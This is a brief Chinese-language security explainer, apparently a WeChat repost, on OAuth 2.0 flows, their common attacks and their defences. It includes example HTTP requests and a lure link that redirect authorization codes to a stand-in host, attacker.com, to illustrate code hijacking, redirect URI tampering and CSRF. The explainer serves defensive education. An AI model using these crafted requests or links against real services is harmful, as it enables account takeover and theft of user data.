OAuth2.0是一种开放标准,用于授权第三方应用访问用户资源,而无需共享用户凭证,它广泛应用于社交登录、API授权等场景。
工作原理:定义三个不同方(即客户端应用程序、资源所有者和 OAuth 服务提供商)之间的一系列交互。
-
客户端应用程序:要访问用户数据的网站或 Web 应用程序。
-
资源所有者:客户端应用程序要访问其数据的用户。
-
OAuth服务提供商:控制用户数据及其访问的网站或应用程序。它们通过提供用于与授权服务器和资源服务器交互的 API 来支持 OAuth。
常用的有两种:授权码模式与隐式模式。
授权码模式(最常用):
用户授权 -> 客户端获取授权码 -> 客户端用授权码换取访问令牌
隐式模式:
用户授权 -> 客户端直接获取访问令牌(适用于单页应用)
授权码劫持:
攻击者窃取授权码,冒充客户端获取访问令牌。示例如下:
GET /callback?code=123456 HTTP/1.1
Host: attacker.com
重定向URI篡改:
攻击者篡改客户端注册的重定向URI,将授权码发送到自己的服务器。示例如下:
GET /authorize?response_type=code&client_id=client&redirect_uri=http://attacker.com/callback HTTP/1.1
Host: auth-server.com
令牌泄露:
访问令牌被泄露,攻击者直接使用令牌访问用户资源。示例如下:
GET /api/userinfo HTTP/1.1
Host: resource-server.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
CSRF攻击:
攻击者诱导用户点击恶意链接,授权攻击者的客户端访问用户资源。
<a href="https://auth-server.com/authorize?response_type=code&client_id=attacker&redirect_uri=http://attacker.com/callback">点击是惊喜还是惊吓</a>
重定向URL:进行白名单校验。
授权码:一次性使用,并且与客户端进行绑定。
访问令牌:短期有效。
密钥管理:定期更换签名密钥,使用硬件安全模块(HSM)或密钥管理服务(KMS)。
监控与响应:实时阻断攻击(短时间内大量授权请求、同一令牌在多个IP使用等)。
某社交平台漏洞(2019年)
漏洞点:未校验重定向URI。
后果:攻击者窃取数百万用户数据。
某网站使用OAuth2.0授权码模式,但未绑定客户端与授权码,如何窃取授权码?
《网安60秒丨身份验证漏洞》
原文始发于微信公众号(小白学安全):网安60秒丨OAuth2.0漏洞:当授权变成攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论